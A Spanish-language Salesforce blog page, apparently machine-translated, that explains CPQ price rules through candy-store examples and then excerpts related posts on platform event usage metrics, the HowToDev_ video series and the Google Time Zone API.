– El campo Objeto de búsqueda es como un puente que conecta la regla de precio con el caramelo “Rainbow Lollipop”.

– Te ayuda a establecer una relación especial entre la Regla de Precio y este tipo de dulce específico.

2. Acceder a la información de dulces:

– Una vez que se establece la relación de búsqueda, puede acceder a la información sobre el caramelo “Rainbow Lollipop” dentro de la regla de precio.

– Podrás conocer detalles sobre el dulce, como su sabor, color

3. Aplicación de reglas especiales:

– Al usar el campo Objeto de búsqueda, puede crear reglas especiales que solo se aplican al caramelo “Rainbow Lollipop”.

– Por ejemplo, puede crear una regla que ofrezca un descuento del 20% por cada “Rainbow Lollipop” comprado.

Al tener esta conexión especial entre la Regla de precio y el caramelo “Rainbow Lollipop” a través del campo Objeto de búsqueda, puede crear reglas únicas y personalizadas solo para ese tipo de caramelo. Te permite aplicar ofertas especiales, descuentos u otras acciones específicas al “Rainbow Lollipop” que lo hacen destacar entre otros dulces en tu tienda.

Vamos a entender con más profundidad:

El campo Objeto de búsqueda en el objeto Regla de precios es una función que le permite establecer una relación entre la Regla de precios y otro objeto en su organización de Salesforce.

1. Establecimiento de la relación de búsqueda:

– Al crear una regla de precios, puede seleccionar un objeto relacionado en el campo Objeto de búsqueda.

– Esto establece una relación de búsqueda entre la regla de precio y el objeto elegido.

– El objeto relacionado puede ser un objeto de Salesforce estándar (como Producto o Cuenta) o un objeto personalizado específico para sus necesidades comerciales.

2. Acceso a datos relacionados:

– Una vez que se establece la relación de búsqueda, puede acceder a los datos relacionados del objeto elegido dentro de la regla de precio.

– Esto significa que puede recuperar información de campos específicos en el objeto relacionado y usarla en su lógica de reglas de precios.

– Por ejemplo, si el objeto de búsqueda se establece en "Producto", puede acceder a los campos del objeto Producto, como Nombre del producto, Precio o cualquier campo personalizado relacionado con el producto.

3. Utilización del objeto de búsqueda en la lógica de la regla de precios:

– Con el campo Objeto de búsqueda, puede aprovechar los datos relacionados del objeto elegido para impulsar las condiciones y acciones de la regla de precios.

– Por ejemplo, puede crear una regla de precio que aplique un descuento basado en el valor de un campo en el objeto relacionado.

– Al hacer referencia a los campos en el objeto relacionado, puede definir condiciones y acciones que son dinámicas y adaptables en función de los valores almacenados en el objeto relacionado.

En resumen, el campo Objeto de búsqueda en la Regla de precios le permite establecer una relación con otro objeto, recuperar datos de ese objeto y usarlos en la lógica de su regla de precios.

Si no ponemos ningún nombre de objeto en el campo de objeto de búsqueda, ¿significa que no obtendrá datos de ese objeto y no podemos establecer una condición basada en un registro en particular?

Eso es correcto. Si no especifica un nombre de objeto en el campo Objeto de búsqueda de la Regla de precio, significa que la regla de precio no obtendrá datos de ningún objeto específico . Sin un objeto de búsqueda especificado, no podrá establecer condiciones ni realizar acciones basadas en un registro particular o datos de otro objeto.

El campo Objeto de búsqueda es fundamental para establecer una relación entre la regla de precios y un objeto específico. Le permite acceder y aprovechar los datos de ese objeto en la lógica de su regla de precios. Si deja el campo Objeto de búsqueda en blanco, la regla de precio no tendrá una conexión con ningún objeto, lo que limitará su capacidad para hacer referencia a datos de otros registros o aplicar condiciones basadas en valores específicos .

¿Cuál es el significado de la casilla de verificación Activa en la regla de precios?

Una captura de pantalla de una computadora Descripción generada automáticamente

Cuando la casilla de verificación "Activo" está marcada, indica que la regla de precios está activa y solo entonces se evaluará durante el proceso de cálculo de precios. Las reglas de precio inactivas no se evalúan y sus condiciones y acciones se ignoran.

¿Cómo afecta el campo Orden de evaluación a la aplicación de las Reglas de precios?

Un rectángulo blanco con líneas negras Descripción generada automáticamente

El “Orden de Evaluación” en una Regla de Precios es fundamental para definir la secuencia en la que se evalúan las reglas durante el proceso de cálculo de precios. Ayuda a establecer la prioridad y la jerarquía de las reglas cuando se aplican varias reglas. Las reglas con valores de orden de evaluación más bajos se evalúan primero.

Ejemplo de Orden de Evaluación:

Regla 1: Descuento para barras de chocolate

Orden de evaluación: 1

Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

Acción: Aplicar un 10% de descuento sobre el precio de la barra de chocolate.

Regla 2: compre uno, llévese otro gratis

Orden de evaluación: 2

Condición: la cantidad es mayor o igual a 2

Acción: Proporcionar un dulce gratis por cada dos dulces comprados.

En este ejemplo, la regla 1 tiene un orden de evaluación de 1, mientras que la regla 2 tiene un orden de evaluación de 2.

La regla 1 se evaluará primero, seguida de la regla 2.

Ahora, veamos cómo la Orden de Evaluación impacta el cálculo de precios:

Supongamos que un cliente agrega dos barras de chocolate a su carrito. La Orden de Evaluación dicta la secuencia de ejecución de la regla. La regla 1, con un Orden de Evaluación inferior a 1, se evaluará primero.

Regla 1 (Orden de evaluación 1):

Dado que el tipo de caramelo es una “Barra de Chocolate” (condición cumplida), se aplica un descuento del 10% sobre el precio de cada barra de chocolate.

Regla 2 (Orden de Evaluación 2):

La cantidad es 2 (condición cumplida), pero la regla 2 no se evaluará porque la regla 1 ya se aplicó.

Como resultado, el cliente recibe un 10% de descuento en cada barra de chocolate y no hay cambios debido a la Regla 2.

Nota: La regla 1 se evalúa primero y la regla 2 se omite porque la regla 1 ya se ha aplicado. Sólo se aplicará la primera regla. Esto se debe a que el Orden de evaluación determina la secuencia en la que se evalúan las reglas y, una vez que se aplica una regla, se omiten las reglas posteriores con valores de Orden de evaluación más altos.

¿Qué sucede si queremos que se apliquen las reglas de precios y que no se omita ninguna según el Orden de evaluación?

Si desea que se apliquen ambas reglas sin omitir ninguna de ellas, deberá asegurarse de que ambas reglas tengan el mismo valor de Orden de evaluación. Al asignar el mismo Orden de Evaluación a ambas reglas, indica que tienen la misma prioridad, y ambas serán evaluadas y aplicadas si se cumplen sus respectivas condiciones.

Modifiquemos el ejemplo para ilustrar esto:

1. Regla 1: Descuento para barras de chocolate

– Orden de Evaluación: 1

– Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

– Acción: Aplicar un 10% de descuento sobre el precio de la tableta de chocolate.

2. Regla 2: compre uno, llévese otro gratis

– Orden de Evaluación: 1

– Condición: La cantidad es mayor o igual a 2

– Acción: Proporcionar un caramelo gratis por cada dos caramelos comprados.

Con esta modificación, ambas reglas tienen un Orden de Evaluación de 1, lo que indica que tienen la misma prioridad.

Supongamos que un cliente agrega dos barras de chocolate a su carrito: la regla 1 y la regla 2, ambas con el orden de evaluación 1, se evaluarán en el orden en que aparecen.

– Regla 1 (Orden de Evaluación 1):

– Dado que el tipo de caramelo es una “Barra de Chocolate” (condición cumplida), se aplica un 10% de descuento sobre el precio de cada barra de chocolate.

– Regla 2 (Orden de Evaluación 1):

– La cantidad es 2 (condición cumplida), y como ambas reglas tienen el mismo Orden de Evaluación, también se evalúa la Regla 2.

– Se ejecuta la acción de la Regla 2, entregando un caramelo gratis por cada dos caramelos comprados.

En este escenario, dado que ambas reglas tienen el mismo Orden de Evaluación, se evalúan en el orden en que aparecen y ambas reglas se aplican si se cumplen sus condiciones. El cliente recibe un 10% de descuento en cada barra de chocolate y recibe un dulce gratis debido a la Regla 2.

¿Cómo puede definir condiciones complejas usando la función de Condición avanzada en una regla de precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos la Condición Avanzada en una Regla de Precio usando un ejemplo de caramelo:

Escenario de regla:

– Desea crear una regla de precio para los dulces que son del tipo “Gummy Bear”, tienen un sabor a “Fresa” o se encuentran dentro de un rango de precios de $1 a $5.

Creando la Condición Avanzada:

– Con la función Condición avanzada, puede definir una condición compleja que involucre múltiples campos y valores de comparación.

– En este caso, configuraría la Condición de precio asociada con la regla de precio con los siguientes componentes:

– Condición 1: Tipo de Caramelo es igual a “Osito de Gominola”

– Condición 2: Sabor igual a “Fresa”

– Condición 3: El precio está entre $1 y $5

(Candy_Type__c = 'Gummy Bear' && Flavor__c = 'Fresa') || (Precio__c >= 1 && Precio__c <= 5)

Tal como es (1 Y 2) O 3, implementaremos esta lógica utilizando la condición avanzada

¿Qué es el campo Producto en la regla de precio?

Un rectángulo blanco con líneas negras Descripción generada automáticamente

Expliquemos el campo “Producto” en una Regla de Precio usando un ejemplo de dulces de una manera simple y fácil de entender:

Imagina que tienes una tienda de dulces con una variedad de dulces, como piruletas, barras de chocolate y ositos de goma. Cada caramelo tiene su propio precio. Ahora, hablemos del campo “Producto” en una regla de precio:

1. Selección de un producto de caramelo:

– El campo “Producto” en una regla de precio le permite elegir un dulce específico del inventario de su tienda.

– Por ejemplo, puede seleccionar el caramelo “Gummy Bears” como el producto de destino para la regla de precio.

2. Aplicar acciones de fijación de precios a los dulces seleccionados:

– Una vez que haya seleccionado el caramelo "Gummy Bears" en el campo "Producto", puede definir las acciones de fijación de precios que se aplicarán específicamente a ese caramelo.

– Las acciones de fijación de precios pueden incluir cosas como descuentos u ofertas especiales.

– Por ejemplo, puede crear una regla de precio que proporcione un 10 % de descuento en el precio de los dulces “Gummy Bears”.

3. Creación de condiciones divertidas (opcional):

También puede establecer condiciones divertidas en función de las características de los dulces seleccionados.

Por ejemplo, puede crear una condición que aplique la regla del precio solo si el caramelo "Gummy Bears" es de color rojo.

Podemos agregar el producto en el campo de objeto de búsqueda en lugar del campo de producto en Salesforce, ¿cuál es la diferencia?

¡Estás en lo correcto! Además de seleccionar el producto directamente en el campo "Producto" de una regla de precios, también tiene la opción de hacer referencia al producto a través de un campo de relación de búsqueda utilizando un objeto de búsqueda. Exploremos la diferencia entre los dos enfoques:

1. Campo de producto:

– Cuando selecciona el producto directamente en el campo “Producto” de la Regla de precio, está asociando la regla de precio directamente con un producto específico.

– Este enfoque es útil cuando desea definir acciones o condiciones de fijación de precios que se aplican a un producto o grupo de productos en particular.

– Es una forma sencilla de orientar productos específicos dentro de su catálogo y definir reglas exclusivamente para esos productos.

2. Objeto de búsqueda:

– Con un objeto de búsqueda, puede establecer una relación entre la Regla de precio y otro objeto en Salesforce, como un objeto personalizado o un objeto estándar como una Cuenta u Oportunidad.

– Esto le permite hacer referencia al producto indirectamente a través del objeto relacionado.

– Mediante el uso de una relación de búsqueda, puede definir acciones o condiciones de fijación de precios en función de los datos tanto del objeto relacionado como del producto asociado.

– Este enfoque proporciona más flexibilidad en la creación de reglas que dependen de la información de otros objetos además del propio producto.

La elección entre usar el campo directo "Producto" o un objeto de búsqueda depende de su caso de uso y requisitos específicos. Si solo necesita segmentar y definir reglas para productos específicos, el uso del campo "Producto" suele ser suficiente. Sin embargo, si su lógica de precios involucra datos de objetos relacionados o requiere relaciones más complejas, puede ser beneficioso utilizar un objeto de búsqueda.

¿Cómo se especifican los grupos de productos a los que se aplica la regla de precios?

Expliquemos la implementación de grupos de productos en Reglas de precios usando un ejemplo de dulces:

1. Definir grupos de productos:

-Cree un campo personalizado de "Grupo de productos" en el objeto del producto. Establecer el valor del campo con

  • Caramelos Gomosos
  • Caramelos De Chocolate

2. Asignar atributos del producto:

– Establezca el campo "Grupo de productos" en el objeto del producto en "Caramelos de goma" para los productos de ositos de goma y gusanos de goma.

– Establezca el campo "Grupo de productos" en el objeto de producto en "Caramelos de chocolate" para barras de chocolate y productos de frutos secos cubiertos de chocolate.

3. Cree o edite una regla de precios:

– Cree una nueva regla de precios o edite una existente haciendo clic en el botón "Nuevo" o seleccionando la regla de precios deseada.

4. Asociar con el Objeto Producto:

– En el registro de Regla de precio, localice el campo de búsqueda o el campo de producto que le permite asociar la Regla de precio con el objeto que contiene el campo “Grupo de productos” (en este caso, el objeto Producto).

5. Definir condiciones:

– Dentro de la Regla de Precio, defina las condiciones de precio que especifican los grupos de productos.

– Elija el campo que representa el grupo de productos, como el campo “Grupo de productos” en el objeto asociado (objeto Producto).

– Configure el operador adecuado (p. ej., “Es igual a”) y el valor deseado para el grupo de productos (p. ej., “Caramelos de goma”).

Ejemplo: Condición 1

– Campo: Producto: Grupo de productos

– Operador: Igual

– Valor: “Caramelos de goma”

Ejemplo: Condición 2

– Campo: Producto: Grupo de productos

– Operador: Igual

– Valor: “Caramelos de Chocolate”

6. Especificar acciones de fijación de precios:

– Una vez que se cumplan las condiciones, defina las acciones de fijación de precios que desea aplicar a los productos en los grupos de productos específicos.

– Configure las acciones de fijación de precios en función de sus requisitos, como establecer descuentos, ajustar precios o aplicar cualquier otra lógica de fijación de precios que desee.

Ejemplo: Precio Acción 1

– Si se cumple la Condición 1 (Grupo de productos es igual a “Caramelos de gominola”), establezca un 10% de descuento en los productos afectados.

Ejemplo: Precio Acción 2

– Si se cumple la Condición 2 (Grupo de Producto es igual a “Dulces de Chocolate”), establecer un precio especial en los productos afectados.

¿Cuáles son algunas de las mejores prácticas para diseñar y configurar reglas de precios en Salesforce CPQ?

1. Definir requisitos claros de fijación de precios:

– Defina claramente sus requisitos de precios y comprenda el comportamiento de precios deseado.

– Identificar las estrategias de precios, las reglas de descuento y los cálculos personalizados necesarios.

2. Estructura de las reglas de precios del plan:

– Planifica la estructura de tus Reglas de Precios de forma lógica y organizada.

– Dividir escenarios de precios complejos en reglas de precios más pequeñas y manejables.

– Esto mejora la capacidad de mantenimiento y facilita la resolución de problemas y las modificaciones.

3. Use nombres de reglas descriptivos:

– Asigne nombres significativos y descriptivos a sus Reglas de precios.

– Esto ayuda a identificar y comprender el propósito de cada regla, especialmente cuando se trata de muchas reglas de precios.

4. Establecer orden de evaluación lógica:

– Establezca el campo Orden de evaluación en el objeto Regla de precio de forma adecuada.

– Controlar la secuencia en la que se evalúan y aplican las Reglas de Precios.

– Asegúrese de que el orden de evaluación se alinee con la lógica y los requisitos de precios previstos.

5. Probar y validar reglas de precios:

– Pruebe y valide exhaustivamente sus reglas de precios con varios escenarios de prueba.

– Verificar que los resultados de la fijación de precios se alineen con los resultados esperados.

– Probar diferentes combinaciones de condiciones, configuraciones de productos y escenarios de precios.

6. Aproveche las condiciones avanzadas:

– Utilice la función Condiciones avanzadas para implementar criterios de reglas complejos.

– Combinar múltiples condiciones utilizando operadores lógicos (AND, OR) y funciones.

– Esto permite una lógica de reglas más compleja y un control más detallado.

7. Reglas de revisión y actualización periódicas:

– Revise periódicamente sus reglas de precios para asegurarse de que se mantengan alineadas con las estrategias de precios en evolución y los requisitos comerciales.

– Actualice las reglas según sea necesario para reflejar los cambios en los productos, los modelos de precios o las estrategias de descuento.

8. Lógica de la regla de precio del documento:

– Documente la lógica y el razonamiento detrás de sus Reglas de precios.

– Esto sirve como referencia para futuras modificaciones y ayuda con la transferencia de conocimiento dentro del equipo.

¿Se pueden usar reglas de precios para actualizar valores de campo en un registro? Explicar.

No, las reglas de precios en Salesforce CPQ se utilizan principalmente para los cálculos y ajustes de precios en lugar de actualizar directamente los valores de los campos en un registro.

Si bien las reglas de precios pueden afectar los resultados y resultados de la fijación de precios, no están diseñadas para actualizar directamente los valores de campo en un registro fuera del contexto de fijación de precios.

¿Cuál es la diferencia entre una regla de precio y un programa de descuento?

Las reglas de precios se utilizan para definir una lógica de precios dinámica y condicional, lo que permite cálculos y acciones complejos basados en condiciones específicas. Por otro lado, los Programas de descuento proporcionan un enfoque estandarizado para aplicar descuentos predefinidos de manera uniforme en múltiples productos o escenarios de precios. Las reglas de precios ofrecen más flexibilidad y opciones de personalización, mientras que los calendarios de descuentos ofrecen una forma coherente y optimizada de gestionar los descuentos.

Expliquemos la diferencia entre una regla de precio y un programa de descuento usando un ejemplo de dulces:

Regla de precio:

– Una regla de precios le permite definir acciones o ajustes de precios específicos basados en ciertas condiciones para dulces individuales o grupos de dulces.

– Por ejemplo, puede crear una regla de precios que aplique un descuento del 10 % a todos los dulces de ositos de goma durante un período promocional.

– Las reglas de precios brindan flexibilidad para aplicar diferentes lógicas de precios, descuentos o ajustes basados en diversas condiciones para dulces o grupos de dulces específicos.

Horario de descuento:

– En el mismo escenario de la tienda de golosinas, se usaría un programa de descuentos para administrar los descuentos estandarizados que se aplican a varios dulces.

– Un calendario de descuentos proporciona un enfoque consistente para aplicar descuentos predefinidos de manera uniforme.

– Por ejemplo, puede crear un programa de descuento llamado "10 % de descuento" que ofrece un 10 % de descuento en todos los dulces en toda la tienda.

– Los Programas de descuento ayudan a mantener precios consistentes en diferentes dulces o niveles de precios, lo que garantiza que se aplique el mismo descuento a varios productos sin necesidad de Reglas de precios individuales.

50% Me gusta VS
50% No me gusta

Seguir leyendo

El poder de las métricas de uso mejoradas para optimizar la asignación de eventos de la plataforma

El poder de las métricas de uso mejoradas para optimizar la asignación de eventos de la plataforma

Última actualización el 6 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • Cómo monitorear el consumo de eventos de la plataforma según el nombre del evento, el ID del cliente, el tipo de evento y el tipo de uso

Objetivos:

Después de leer este blog, podrá:

  • Obtenga una comprensión integral de los eventos de la plataforma
  • Descubra las ventajas de monitorear los patrones de consumo para la optimización del rendimiento del sistema y la identificación de tendencias de uso
  • Implemente métricas de uso mejoradas para eventos de plataforma a través de una guía paso a paso
  • Explore los beneficios de monitorear patrones de consumo para optimizar el rendimiento del sistema e identificar tendencias de uso
  • y mucho más

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC), recientemente se encontró con una publicación de blog titulada Monitoreo de publicación de eventos y uso de entrega de la plataforma . Esta publicación proporcionó información sobre cómo varias formas de monitorear el uso de la publicación y entrega de eventos de la plataforma.

A medida que se expande el negocio de GoC, la afluencia de datos ha llevado a casos frecuentes de alcanzar los límites diarios para los eventos de la plataforma. En consecuencia, Jestilla está buscando una solución para monitorear el consumo de eventos de la plataforma según el nombre del evento, la identificación del cliente o el tipo. Esta capacidad de monitoreo le permitirá analizar qué evento está consumiendo una parte significativa de la asignación, lo que le permitirá tomar las medidas adecuadas en consecuencia.

¿Qué es Plataforma de Eventos?

Las arquitecturas basadas en eventos se han vuelto muy populares en los últimos años y por una buena razón. Se basa en el patrón de fuego y olvido . Activar un evento y dejar que cada sistema maneje la lógica empresarial le permite mantener los sistemas no relacionados desacoplados y puede ayudar a simplificar la arquitectura.

Los eventos de la plataforma le permiten entregar notificaciones de eventos seguras, escalables y personalizables dentro de Salesforce o desde fuentes externas. Las aplicaciones pueden publicar y suscribirse a eventos de plataforma en la plataforma de Salesforce mediante Apex, Flow o en un sistema externo mediante CometD. Si desea obtener más información sobre el evento de plataforma, consulte el módulo de Trailhead .

Comprender el objeto PlatformEventUsageMetric

Hagamos una pausa aquí y familiarícese con el objeto PlatformEventUsageMetric en Salesforce.

Contiene datos de uso para la publicación y entrega de eventos a clientes CometD y Pub/Sub API, componentes empApi Lightning y retransmisiones de eventos. Si las métricas de uso mejoradas están habilitadas, los datos de uso están disponibles para las últimas 24 horas, hasta la última hora y para el uso diario histórico.

En API 58.0 y versiones posteriores, puede habilitar Métricas de uso mejoradas para obtener datos de uso por nombre de evento y cliente para intervalos de tiempo granulares. PlatformEventUsageMetric contiene métricas de uso separadas para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
Tipo de evento El tipo de evento para el que le gustaría consultar las métricas de uso, como un evento de cambio o un evento de plataforma personalizado. Este campo está disponible cuando las métricas de uso mejoradas están habilitadas.
Segmento de tiempo El intervalo de tiempo utilizado para agregar los datos de uso devueltos en los resultados de la consulta. Este campo está disponible cuando las métricas de uso mejoradas están habilitadas.
Tipo de uso Este campo está disponible cuando las métricas de uso mejoradas están habilitadas. El tipo de métricas de uso de eventos para consultar, como publicación de eventos o entrega de eventos. Utilice este campo con los campos EventName o EventType. Los valores posibles son:

  • PUBLISH —Métricas de uso para eventos publicados.
  • ENTREGA —Métricas de uso para eventos que se entregaron a los suscriptores.
Valor El valor de uso para la métrica y el intervalo de fechas especificados.

Para obtener datos de uso completos para cada evento, aprovecharemos las métricas de uso de eventos mejoradas. Esta función nos permitirá recopilar información agregada e identificar los eventos específicos que consumen una parte importante de la asignación.

Mientras que PlatformEventSettings representa configuraciones para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
enableEnhancedUsageMetrics Habilita métricas de uso mejoradas para consultas ejecutadas en PlatformEventUsageMetric. Las métricas de uso mejoradas proporcionan campos adicionales para las consultas y segmentos de tiempo granulares. Para obtener más información, consulte Métricas de uso mejoradas en la Guía para desarrolladores de eventos de plataforma. El valor predeterminado es falso.

Práctica guiada (nosotros hacemos):

Antes de que pueda obtener más métricas de uso, debe habilitar las Métricas de uso mejoradas en la API de metadatos . Para hacer esto, establezca el valor del campo enableEnhancedUsageMetrics en verdadero en PlatformEventSettings . Una vez hecho esto, podrá obtener métricas de uso detalladas para el consumo de eventos de la plataforma.

Paso 1: habilite las métricas de uso mejoradas

  1. Asegúrese de que Visual Studio Code esté correctamente configurado y que su organización de Salesforce esté conectada a él.
  2. Modifique el paquete.xml para recuperar los metadatos relacionados con los eventos de la plataforma.
    1. Ejemplo de paquete.xml para recuperar la configuración de PlatformEvent.
      
      
      <tipos> <miembros>PlataformaEvento</miembros> <nombre>Configuración</nombre>
      </tipos>

  3. El siguiente paso es modificar PlatformEventSettings .
    1. Proceda a modificar PlatformEventSettings, cuyos valores se almacenan en el archivo PlatformEvent.settings en la carpeta de configuración .
    2. En PlatformEventSettings, establezca el campo enableEnhancedUsageMetrics en true .
    3. Guarde los cambios en el archivo PlatformEvent.settings-meta.xml .
  4. Finalmente, haga clic con el botón derecho en el archivo de su paquete en el Explorador y seleccione SFDX: Implementar origen en el manifiesto en la organización .

Paso 2.1: obtenga métricas de uso diario agregadas por nombre de evento

  1. Haga clic en Configuración | Consola de desarrollador .
  2. En el Editor de consultas, ejecute la siguiente consulta SOQL
     SELECCIONE EventName, EventType, UsageType, Value, StartDate, EndDate FROM PlatformEventUsageMetric WHERE TimeSegment='Diario'
Seguir leyendo

Presentamos HowToDev_ ☁️

Presentamos HowToDev_ ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnológicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, ¡HowToDev_ es la serie para usted!

En esta nueva serie, aprenderá a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce líderes en la industria. Seré su anfitrión y, en cada episodio, lo explicaré cómo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripción general de la plataforma de Salesforce

La plataforma de Salesforce reúne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripción general de Salesforce Platform y cómo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicación y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

¡Vamos a codificar!

¡Espera un segundo! Hay algunas cosas que necesita saber aquí antes de abrir ese entorno de desarrollo. Aquí hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la función de los metadatos, que representan toda la configuración, la automatización y la interfaz de usuario en el entorno de Salesforce.

Definición de qué son una aplicación y una organización en Salesforce: aclaramos los conceptos de una aplicación y una organización en Salesforce, subrayando su distinción con respecto a las aplicaciones y organizaciones tradicionales.

Creación del objeto de propiedad : demostramos el proceso de creación de un objeto personalizado (el objeto de propiedad) en Configuración de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotización y Días en el mercado), que resaltan la naturaleza dinámica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrirá la serie, prometiendo una futura exploración de la codificación y la resolución de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensión de estos conceptos, ¡podemos abrir la CLI en el Episodio 2 !

Dónde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, ¡así que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripción general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: Código en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatización con flujo y disparadores
Episodio 6: Completar y lanzar su aplicación Salesforce

Más recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrará todo el código, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. Únase a la búsqueda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. También recibirá una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misión en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pacífico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver código de muestra y proyectos.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Última actualización el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo puede aprovechar la API de zona horaria de Google para actualizar automáticamente la información de zona horaria de un cliente potencial en función de sus coordenadas geográficas?

Objetivos:

Después de leer este blog, podrá:

Jestilla Zetkin se desempeña actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desafío único. El objetivo es asegurarse de que, en el momento de la creación, los prospectos de Salesforce (creados a través de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en función de sus respectivas coordenadas geográficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar automáticamente cuatro campos específicos en los clientes potenciales:
    1. dstOffset (la compensación del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicación dada)
    3. timeZoneId (una cadena que identifica de forma única la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acción de contingencia para crear una tarea para el propietario designado del cliente potencial.

¿Qué es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes esté repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes automáticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar automáticamente la zona horaria del cliente potencial en función de sus coordenadas geográficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicación en todo el mundo en función de las coordenadas de latitud y longitud. Este servicio puede ser particularmente útil para los desarrolladores que necesitan ajustar la comunicación de acuerdo con la ubicación geográfica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente información:

  • El ID de la zona horaria , según lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google está sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

¿ Cómo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aquí hay un ejemplo básico de cómo usarlo.

La siguiente solicitud HTTP GET obtiene información de zona horaria para una ubicación en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que está realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aquí hay una respuesta de muestra en formato JSON que la API podría devolver:


{ "dstOffset": 3600, "compensación sin procesar": -18000, "estado": "OK", "timeZoneId": "América/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente información:

  1. dstOffset : La compensación del horario de verano en segundos. Será cero si la zona horaria no está en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. “OK” significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "América/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el parámetro de marca de tiempo y el parámetro de ubicación espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, según la zona horaria de la ubicación.
  2. Ubicación : una tupla de latitud, longitud separada por comas, ubicación = 40.712776, -74.005974, que representa la ubicación para buscar.

